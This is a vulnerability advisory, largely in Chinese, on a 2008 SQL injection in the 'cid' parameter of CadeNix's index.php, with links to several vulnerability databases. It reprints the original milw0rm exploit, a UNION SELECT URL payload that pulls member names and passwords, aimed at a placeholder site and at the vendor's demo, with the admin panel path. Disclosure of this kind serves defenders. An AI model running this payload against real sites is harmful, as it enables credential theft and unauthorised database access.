CadeNix 'cid' Parameter SQL注入漏洞

https://www.exploit-db.com/exploits/7480
https://cxsecurity.com/issue/WLB-2009010097
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-500

CadeNix是一款自定义的小游戏网站搭建工具。CadeNix中的index.php存在SQL注入漏洞。远程攻击者可以借助cid参数，执行任意的SQL指令。

###################################
        Remote Sql Injection  CadeNix [ index.php ]
           CadeNix  Online Games Play Online
###################################
# I am , HaCkeR _EgY
# My Home : www.atsdp.com
# Message : Mr.SQL   Really  I miss You , see u sooon My bro :)
# Script : cadenix
# Download : http://www.cadenix.com
# Exploit :
               http://site.com/demo/index.php?game=40664&cid=-1+union+select+1,2,3,name,5,6,pass,8,9,10+from+members--
# Live Demo :
               http://cadenix.com/demo/index.php?game=40664&cid=-1+union+select+1,2,3,name,5,6,pass,8,9,10+from+members--
# Admin Panel  :   http://cadenix.com/demo/admin
####################  Greetz  ::  Abo Mohamed  #####################

# milw0rm.com [2008-12-15]

来源:XF
名称:cadenix-index-sql-injection(47344)
链接:http://xforce.iss.net/xforce/xfdb/47344
来源:BID
名称:32846
链接:http://www.securityfocus.com/bid/32846
来源:MILW0RM
名称:7480
链接:http://www.milw0rm.com/exploits/7480
来源:SREASON
名称:4832
链接:http://securityreason.com/securityalert/4832